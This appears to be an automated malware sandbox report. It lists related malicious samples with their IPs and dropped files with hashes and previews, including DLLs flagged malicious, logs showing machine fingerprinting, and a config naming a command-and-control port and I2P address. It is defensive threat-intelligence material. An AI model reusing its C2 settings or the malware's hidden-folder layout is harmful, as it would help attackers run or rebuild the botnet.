MTW-ASRU	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	193.124.107.252
	na.elf	Get hash	malicious	Unknown	Browse	193.124.64.114
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	193.124.64.126
	g082Q9DajU.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, PureLog Stealer	Browse	195.133.48.136
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	195.133.48.136
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	195.133.48.136
	SecuriteInfo.com.Win32.TrojanX-gen.12944.32631.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	195.133.48.136
	https://t.co/Tmh47fiTWd	Get hash	malicious	Unknown	Browse	93.95.97.29
	PQ2AUndsdb.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse	195.133.48.136
	Set-up.exe	Get hash	malicious	Cryptbot	Browse	195.133.48.136

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\libi2p.dll	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.193969228624904
Encrypted:	false
SSDEEP:	1536:55YoK6WOBqFp//wVUE/+TGAf5EkgE1duJmwTxOd/lZ1pgX7:55YoSb/Iv/+TNf5Ee1YLTxOd9Z16X7
MD5:	EC9499EE84ED09B77BE0A35EC87B781C
SHA1:	4148D40284BAB415DDB828BD4061A4FE93C9AF26
SHA-256:	5E38EA7E3DD96FE1C6BB2EBA38C7BDE638C6B6E7898F906E343D9500AFF86499
SHA-512:	D65933B825419719021D0D2F43B45616A5B1238550BFDC72D2F4F148E284E9FE488417021A45B6D2F61770E31150B3331B1071AFE7EBB85AF6B379D040A9BEBC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...............Y........."h.............................P......JA....`... .........................................^....................................@..l...............................(.......................h............................text...x...........................`..`.data........0....... ..............@....rdata.. d...@...f.................@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1305152
Entropy (8bit):	5.101030479133318
Encrypted:	false
SSDEEP:	1536:jP+wUVCb41Bnf7WxLN96OPIFrsw2+NWIKFSC1WJnzlPL6M98h82l27hcSdxFLT9u:r
MD5:	1EB6A98D279CEA53C0F394FF4349A45B
SHA1:	FF1B24BAFFC54FA42DA629AB01E2868A7D54D47A
SHA-256:	BA44474A8FF3969CF48D0213B9A350F8811D574B435AC3CB993D10220CBBC98D
SHA-512:	37686262A65F0D50C5CBA3FC5AA6A18570524C2B6828B30CA1412B67CB84796333229312B1326C14DD8EC0B5D92A58BCB007E0AF540ED2B8BA9F980A7B82870E
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[D] (ini_get_sec) -> Done(name=cnccli)..[D] (ini_get_var) -> Done(sec=cnccli,name=server_host,value=9

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.129024990254676
Encrypted:	false
SSDEEP:	6:1EVQLD4oWuJO+70XZ6DIzOD7kXpTRL9gWVUDeLn:Cjo5JO+70XZmeC7kX9vgpKL
MD5:	7D88563AD41BAF4026CFC5D098CBF40D
SHA1:	442756834CCCEB84F219F3C762852437FBB3458E
SHA-256:	D80EDD4C9FCF10348AAAB4D5F9D796AD827271827463D71FE32F2F896D0841D3
SHA-512:	F58A28FCAC43359D217C5B238C00BE73FBA791BEC7B987AA647F6FF02A7514D4C4B7449968DF9237D3B4D5BBF05DBEA82C8B41C956B2F0566FAE8C54056010DF
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=9ad81489..server_port=41674..server_timeo=15000..i2p_try_num=5..i2p_sam3_timeo=15000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.236071662185895
Encrypted:	false
SSDEEP:	1536:v6YjTy83xoAWVbgh4xf4j0+Fwpj7bx8eSlsfe1tgvEK335:v6Yjqj1gh4xf4w+G7Cge1tgb335
MD5:	CE579A1BDCB9763DAFEBF01AD29F918C
SHA1:	F3E317C09E27DD0DA11AEE1578B7034BA1AC15DD
SHA-256:	0B628EA2BA9CD77621D90A0A7456659ED86C118EB7655F6074B3B5648BAC0A02
SHA-512:	EB688ED1A4AC5C3B975C2B005BE4BFD04D7CC762AF18DED190D0F903D39BDB301EADB800866BA72F6B8C36B7ABFB5765E0EB5081158C67BC33F056BD41280BC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y.........?..............................0......Uu....`... .........................................^.......................$............ ..l........................... v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.4523778210953315
Encrypted:	false
SSDEEP:	24:CFAGHS+5lGyclY7GfyABI7cRE9FLxJ1lJUO0ERAXYje:CFdHS+54yclD8cm9FLLmOOJ
MD5:	F9DF2D5358E65E2D2A86121A3D6565C1
SHA1:	92353EB004D46B15AB327685FF55D1A23E0D38F4
SHA-256:	6C3A8FCD6694EDC1B81AFF1B3C3AB74616338F8F0A8B5F9624981161F3EB1658
SHA-512:	52DBA09AA2DD3B6363E849F0844812FE5FCB852E2B7674620093C6A5418CB567CCD98AB7C840518A4E0CE75D0A7007B17F632B3A6C031F0E59324EB0B027EDE9
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8bfb51dbd)..[I] (tcp_connect) -> Done(sock=0x354,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.229119632298774
Encrypted:	false
SSDEEP:	1536:nZifIZPVsBXHCrwIxk8i/57CDDCZUohgfNGbDN:nZifcsVCrwI0CyZUocs
MD5:	7FEA520E80E7A73252F2A5C204BBF820
SHA1:	557D33F75805669A6D5E98D0E6CD3B790ECF3464
SHA-256:	64B09FAC89FC9645DFE624D832BB2FF2FC8BA6BA9BC1A96C6EEE8C7F9C021266
SHA-512:	6A8FE49BC671B2B1458C24E10509047B50150D3D565FC7FB45046A51C295E69189F35D53BA2F8727A44718F11E8A84EFDE019E5422E025767CF35FDA26F293F9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....f......Y.........Io..........................................`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	52754369
Entropy (8bit):	5.192905501908576
Encrypted:	false
SSDEEP:	1536:uTAj5Bv+RI7vNPvsJE0t+C8TKl810bF6rZH24p4JVBRBAeu+CbkR9cym60+hjEdZ:R
MD5:	822067470CB5009467FAC1D4B0A9F003
SHA1:	C38C5D47E3941C83BDFBF8C339CD5FABA77751EF
SHA-256:	92AD03F6B92072303CDC6597EA86E8182804AEF640C9903FAD3DD5C0D49761B8
SHA-512:	4670A07A2EE0BDF783F06286DBB5A4EBA04884EE1451E884C46051F42BA8A143A7F1FE1AEAEA5D60DC10ED4664079CFA61C77FF9B983D73231F6032322826ED3
Malicious:	false
Preview:	[D] (routine_tx) -> Dispatch an event(size=32,timestamp=1744691639055,code=5449434b(KCIT),sender=2d4556545352562d(-VRSTVE-),receiver=2d2d424353542d2d(--TSCB--))..[D] (routine_tx) -> Dispatch an event(size=32,timestamp=1745642455787,code=5449434b(KCIT),sender=2d4556545352562d(-VRSTVE-),receiver=2d2d424353542d2d(--TSCB--))..[W] (tcp_accept) -> select timedout(sock=0x374)..[D] (routine_tx) -> Dispatch an event(size=32,timestamp=1745642460049,code=5449434b(KCIT),sender=2d4556545352562d(-VRSTVE-),receiver=2d2d424353542d2d(--TSCB--))..[D] (routine_tx) -> Dispatch an event(size=32,timestamp=1745642463049,code=5449434b(KCIT),sender=2d4556545352562d(-VRSTVE-),receiver=2d2d424353542d2d(--TSCB--))..[D] (routine_tx) -> Dispatch an event(size=32,timestamp=1745642464300,code=5449434b(KCIT),sender=2d4556545352562d(-VRSTVE-),receiver=2d2d424353542d2d(--TSCB--))..[D] (routine_tx) -> Dispatch an event(size=32,timestamp=1745642468550,code=5449434b(KCIT),sender=2d4556545352562d(-VRSTVE-),receiver=2d2d4243

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log.1

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	52754369
Entropy (8bit):	5.1923591894594745
Encrypted:	false
SSDEEP:	1536:dHmQRVN9A548YywtydcNcCtQJLPTqrM3K95rIMdmmSOjHIClHQMF4kqKby/ZZDBU:x
MD5:	8DFC0129B89701EBCCABB131D29293DE
SHA1:	3828A0979E143F322F1088C91BD91328B8FC0AB5
SHA-256:	EA6C853B2A4B031976C4C9F84D871EBAB4AC3C867C6065480950AC935A806EB1
SHA-512:	8EDE024C004B282FAEAC85F6D217FAB9ED317860A3E868E64B5CA9FF66738A66D174B51E1504B66063A6D0DA5E94B16F887CA6E0594831A25AF87B8232D741BD
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=bddd1a2f)..[I] (sys_init) -> Done(sys_uid=c76a8f08bddd1a2f,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (server_init) -> CreateThread(routine_gc) done..[I] (server_init) -> CreateThread(routine_accept) done..[I] (server_init)

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	4.958673415285098
Encrypted:	false
SSDEEP:	96:e+I8WTr7LjdL33ZqPDNLWBsaBMG+xv9G86UJ5TMmyvmyLKkfUZleZnE/Ndm/7CIg:e+I8Mr7VtXl1zrrIqEVdm/7CItWR0SX
MD5:	27535CEE6740DFC50A78A0322415E67C
SHA1:	E80541CF15C8ED4C5EEDA8D8C24674A5B8A27F61
SHA-256:	FB0CDBF4E0215AE1866E97860C2AC3DD96E7498BFE2AF3D82378041CDFF7F292
SHA-512:	25F11A8262B5A2F59BD6C9D8673B5AD5A140EAE8C007244810B2924EB08B5CF54AE19E61BE5139319877278D11868BBD85BD2E6C67F5FAD4E2A458E2844EBC0C
Malicious:	false
Preview:	## Configuration file for a typical i2pd user.## See https://i2pd.readthedocs.io/en/latest/user-guide/configuration/.## for more options you can use in this file...## Lines that begin with "## " try to explain what's going on. Lines.## that begin with just "#" are disabled commands: you can enable them.## by removing the "#" symbol...## Tunnels config file.## Default: ~/.i2pd/tunnels.conf or /var/lib/i2pd/tunnels.conf.# tunconf = /var/lib/i2pd/tunnels.conf..## Tunnels config files path.## Use that path to store separated tunnels in different config files..## Default: ~/.i2pd/tunnels.d or /var/lib/i2pd/tunnels.d.# tunnelsdir = /var/lib/i2pd/tunnels.d..## Path to certificates used for verifying .su3, families.## Default: ~/.i2pd/certificates or /var/lib/i2pd/certificates.# certsdir = /var/lib/i2pd/certificates..## Where to write pidfile (default: /run/i2pd.pid, not used in Windows).# pidfile = /run/i2pd.pid..## Logging configuration section.## By default logs go to stdout with level 'inf

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.su3

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	75977
Entropy (8bit):	7.8696816318811385
Encrypted:	false
SSDEEP:	1536:07klNoOPsg0evjAYqVwbLhhOW6xwz0U0paUgfVnsHk:EkPNPmevj5qabL9ydgNz
MD5:	E53A179BB45CD7EDD8371740D65076BD
SHA1:	6B74034746E12C2058614A9DF671C31B79EAA7E9
SHA-256:	C33D095DBFFC43047A7930EB0811B11208D166FCFD612D8ED32556A6CE82B9DB
SHA-512:	767105F8B88CD8C9E4E2BD9188C8174D5FD86D370D2E6A79B0E10EF4A79E994F24F8DB7A79C481B97F69DBEA8E311590E3B2D31E804EC5F572A3C37CF3EBC457
Malicious:	false
Preview:	I2Psu3................&.................1733281205......reseed@cnc.netPK........./.Y.o2........;...routerInfo-eXkkiGm0Hskmt-0nixI7Fd2~NX5o5Laplk3k9Fh6Jr0=.dat..\|f........59/}.w...............X.O..Q#.....M;`vv...oZ..;...U....gm..w._.y.......g.\....T..9<....v{...].K..Z..`....W..kX..7iu..bi..)..<.E.{.g..Q..v...RU....f.:~U-r.v.0.?I.c..S.W"U...P..9..!..=+....oY..gY....m;t...n..mu.y...$q...,.?.._..v.n.z..m......Q....x....\..f.M.E31.[.xu._....K...:.1.i.i"..{c:>.YU.x...Gl.F.+......<..t..r....M....t....iy=....c0wWG.....-.lW.{.....w..\.g.2.0..1.......L..P....j.X..XPl..db.i..f`f....Y.o....T.P....._..d..f....h._..ik..ZQ``.ehnlldajd`..2.....C..`B.&.f.....:.n........)>.i...Q.I.a.f...N..ai.Ynn..f.I&. -..:.y.y^....N...N....~e!.^a...y.ai.n..i..`-F.:.UNf.e.&I..N...y...y.....>%n&en.......fU`..$..\|dinjb`.$ B@.......X.Y.B..l9,,....L,...mu....s3....."...r<+.=...C.."...R.."LS..3.+...0..2.Y...../.9.......&`..-M.,.K\+...M2....}.#.........+s..".K.M`.20.@.3 .5/

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\2xpt3io56xrs5j5mjyimmwpivijuqqw2dwu3avspt3kft5rpbgda.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.5845968154884025
Encrypted:	false
SSDEEP:	12:djIM+yVTaLvW9bIcl1bzeUoOy7KUL3TO57C/5U9fZsnkPbm:dj5svWecjLob7Ksawi9fZfjm
MD5:	148CFAD5035D8E71B682F20E0F30ED6C
SHA1:	8B764CB50B831CA1C592956E09A0F2FEE39E5BAD
SHA-256:	4522BF2FEF0B5E1C7164E6561EF589A13D77A6AEE4A2204F52224DB7B9ED0D3E
SHA-512:	9C3A356664DACF8664EE2E3BFC07984805B53FB3D4A4D3906CEE45AF4F478C201C2CDD5470227D8918841D062A7CFDF41DC9CD0D0776FBC3F25B79B04B189498
Malicious:	false
Preview:	......(.J54...$"pK...F_.....K.1.....L.F...f..Hn..?9f......x.$..Sq..Z...Y.C/...bG...3S.<S..f...!>......fDlx7.T.q3..9Q.<..#s.....r8...Z.8..C....".S..BP...!n...l.5...!.g...t.j.(....X......y..:bw...a,U.R.N.T..}h.... 1"O...9.....b..CWPJ......\|0...^.y...?.~..h.L..+.Qp.~..B..F.9l...]U[..Q...u..P........r...9R..t<N.r>Smy6.}gc\.L..S..t....q.y....m..,..q.}=n/.r.....n.t].,V>}.f..dH..S..&..S.(.~....x<...D:..JJ.N....tX.8..$(M..@.....`p... .NAY....N.oN....l\..@g....s.........u3-.=.?.$.:&k[..qX.E

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\bgpvwxs6gcu5hamy4lnzog2vkec45n2psc66dpw6lvo4v36rnxgq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.592586587197845
Encrypted:	false
SSDEEP:	12:JpNJDH5P76d2BoG1rCLLnnRL6zhk2crskOVD7igOHuk9QJtWv:J5DZPRXS1L6zhk2c+VdOAti
MD5:	7CA79977C905CBEFB7B087EC4097D99D
SHA1:	D389251AB1FF95A8864969346BC353038224F2C9
SHA-256:	893E6415109C89CAD7122E70952263D8B2BBCBED11AA542CD1DEB9185B0AFE24
SHA-512:	CD3ED65D94509FD728753ECC8FB9EB071E2BCD027CFF596D3703D39DA5E39B5943A213C49A2194BC347794C3C55E265B49CA16864187D67561AF7F74BBE224DD
Malicious:	false
Preview:	.....\....4.(G....$.....v:.....E.<.....Q..,7../..1...f......\|.v.......O..-..(.:..^.....C.v...M<...}...6..P=5....n;..).(.L.wW.G.!.=1..i...s.AtXs;Rf.B.Q..~8..?t.?....;....r...f...........g.f..i...q.LEp.J....tp...."p.Ks.-/..Z.t<...l....8. d..k.`q..[B.3.C......n.......7.......?wE*.P.5.Z.Z...iN.)#.+@..I.)....V..Yy-....v..?Ooe..5L...n...U$.2{..7Z.k-..Qg7v...H^....v.^.D...B.R....hnl6,.^B.;............}~M>:..D..W!.84....2.8K...%..(.~.JQh..S.p-.f..$..z..y!&0..m....m.....x.C!.$.......i..#.k.P^

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\fen7677zrfeokzjqt36wrgxqd4w4kl3aa5jxvwhjuqnoyazqbkla.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.549605740883306
Encrypted:	false
SSDEEP:	12:01b+YSsIEfUcxYZ24dCuVj4tLPNGO81Op+v6:0JmsI0NxE26CijcLlGO8A+S
MD5:	C4855DF2794448678616B55A2B04EDB9
SHA1:	378000F5371EA72C92B00D5AAAF4B0E4E7F39A35
SHA-256:	D2798E3F046B4B28AE56FEB9557EDE1F3E9C19A41DEC60D733855B03BF2BB390
SHA-512:	DB2DC1D96AF36161A54619932BF2CDB5752795EA0A3F590FC048028D08B4DCEC8B0C8D5FB668782D2D3D17A1515FD424E1C25E06D1A993B2DC0B50EE27D6AD2B
Malicious:	false
Preview:	....U.--../^..5....,%....x..tz-mz...U".%.l..@R.....H$...n....l9..wP.mrp...E\...+.Ir...`(.&....,.C..(A,..}ow;aO..=.e.%..=oW.'.=..#....B1F'....)........I......u.8.1d....@(....~......o.uz.^[}M..2...<"..i...'.V..F'..............f&d.!.km@..=....a.A..p..$.N.....[R...M.c........R<.....d..jh.........rN......Vd...r...PB.^.~.#.ZEn.D...@w....9.kG+.....pk....-D.~..u0$.&.....%.yI..6....S.02.^..!..'Z...u ?..\.H.r.U.e-d.......b..........r...?Di.LP.z...7o...A.@M...u.j.G)..l....>E.....H....b.Bu...

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\fkh4q6fhn2nkwomqrkawdxphqila6oioggosbbzczyq6cz6tq3ea.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.491093717406676
Encrypted:	false
SSDEEP:	12:p35b12+akYXHUIG9/PhAoz9PLJbYUgPRrv80T915vLQ3C/NhaxvfK:Z5b1ytVG9/Phb9P1EUgPK0T97LfNhaxq
MD5:	5289161D79D49A1013FFC2FE17DC57FD
SHA1:	325B4B015BFEBF04B56BECE23243539E4F90AFF3
SHA-256:	A83D32A05AA97037CB856659815E421F09F419EFACF3BEAD4C20D45BEA14FD74
SHA-512:	5BA6DFA9B9A7ADC0DCD6ACB406E9E49E8E60458AA09E3B37CCD0E7C9D8C826A5C87C05A47B6FF7CDF5FD18270171E98918A57A7C71C2587C1A34A0D14AF56B60
Malicious:	false
Preview:	e!)^&.L.k,-..&...7..L..t..l_N....$...\|t..1.NC9.=..`T.%.....5...OC.....0.C..\|b...@.#/..xsL..hN......k/.hN.c....gN.1#V.1.......M..".sZ.BULg....Q.s.=..1.\.....U..~.wcG...1..d...yK:.Q~K...j....q.*f....~...Rh.".Y...j...E.O.".!.a....[...\.M.,.m.l.[]#.)...<.,...V....)SR.p.....kk.;0...G..#.=.?..B..kk..7t.k5[...?]> uM.............{sK.6Y.h\|I...c:.^y(...w...KNSV..r...w..L..y;....,.5#Q..>.~..KP./;..y...@:.\|.Q.j@.(...C.#..h.l..fi.u. ..[.3...$.w..G............... 4.......x\.Q.;[C....bX....x\|.8.&

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\jwf2ycsm7emxvevkqd2h4wdkhn52vfj4xj7wst277calaicbvl2q.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.624675697787775
Encrypted:	false
SSDEEP:	12:X5CQqiL0oF/FCGFzgzZXH24KPuzAFVXKaL4JqpW6aN:XBN7GpHOP5XKaL4kZaN
MD5:	A74133A194F4F1F3F698AD6CD61F9F42
SHA1:	EEB64C062FE54183CA758903B114C26462986247
SHA-256:	121CB51E36AA2CE0D0BC61EC996476E2D2DEBB86A3FCEF25B63AC1EA35E5662A
SHA-512:	7FFD4EEFD49B671C3A459CE6CE84E08A7AECB35AA86737A6757D33F97818C46726D0D36EBF5F7F49F69568FFFBF4F05B256A909E927301F8D82E4156ED6990F0
Malicious:	false
Preview:	....Y..p.@.....M }.6m...D^......:.I..J.@.bo;K....FA.>..XA[1...._.7-6B..._...-.a.@3.o.>..vv....'aT...R..... .}...Z._X.....X.#r.....6..W..EM.Jt5...DZ....B.I....c......5.....h(bg].....*..98]......;....`..).y6.d..-\|..[.@."/G........\|s..+...XY.....VG..s"a..8..Q.\|..~.}TR.k%..."....j..{J#.5.W....g~...jUq..y.t!...3..h..=&..y2..1..zk.....m.A..K.....`..4\|0....-........i../.."F.%x"..fyf.".E.......8~g.1..K....e0......%.....}?.....RS:..{......7...D7w..g.G.0..r.@.h.....\...;D.'.O.'."....l.Fh.._.@.@..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\lgtsld5v6mjkk42vmve54o7pdgr5ad3ocu3opqvum5lz3vzqucnq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.532526584485549
Encrypted:	false
SSDEEP:	12:MZGeE5nI6qMcPgmK8e2gLOchnSqePy+65NPE:VbB4+8e2chzeNohE
MD5:	6A0E0F5A36D53532780BF05AE75EC8CA
SHA1:	B781DB722002F1A76A2A5957D55BFA02229C4721
SHA-256:	C4D9F203C54282D43999C5F047245CED8D60C550012C6227D0C1AD6A385ECB62
SHA-512:	EB70145C9DEFD19E7507C407617C776369477FCA686CA396A0BD0E005E8052BC53951846AD12F343490134A5C42A516402CE7791E90ED46886313AA7261E4D03
Malicious:	false
Preview:	.......%..9.o.mU.}(...`w.l.......e...<.,....c:.w.Ge....d.nb.]..H...0.sd..Ty.}.~..d..r.K.....O....C!.e.fA..5}1Q(..3..R..e.......3...j..b,u...4L-..w;.3..{o...c.........L.Oo....Y2..i.P.t.3a.+..f-nO..........b..+..qE:..\|a....F...)g8..z..z....48....B...#bi.%S...6.@`f..J&zM.j<;<Y..;.O>..):.w%......T.q.L....&K....,>.<9.Z%......5R..E..!......n..B..........P.I#f...u...:D3...G..44..\..~)..e.$.lo..M.^...6.5.. n)I#r...D.'..58x.l.N.=.Z.S.C.6.....]._.P...oPIglnR...b...m...=.p#3..!

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p\destinations\m7m7mhkif7kqipihx52vnfrwvzbnjvr3fnqwrltilgatnla7cwnq.dat

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	7.587836189726106
Encrypted:	false
SSDEEP:	12:5IL2acbOQDeXiU7qtydr12MGrcSHAhjb4V69EGc2LrhAOBr:5ILzQDBf+r8HrBAx4Vyv/5AO9
MD5:	F467BFD8B8EC048117702F949AEE54CB
SHA1:	2993376EE3893B87A2F0A8722ADCCFE7CF99C6AD
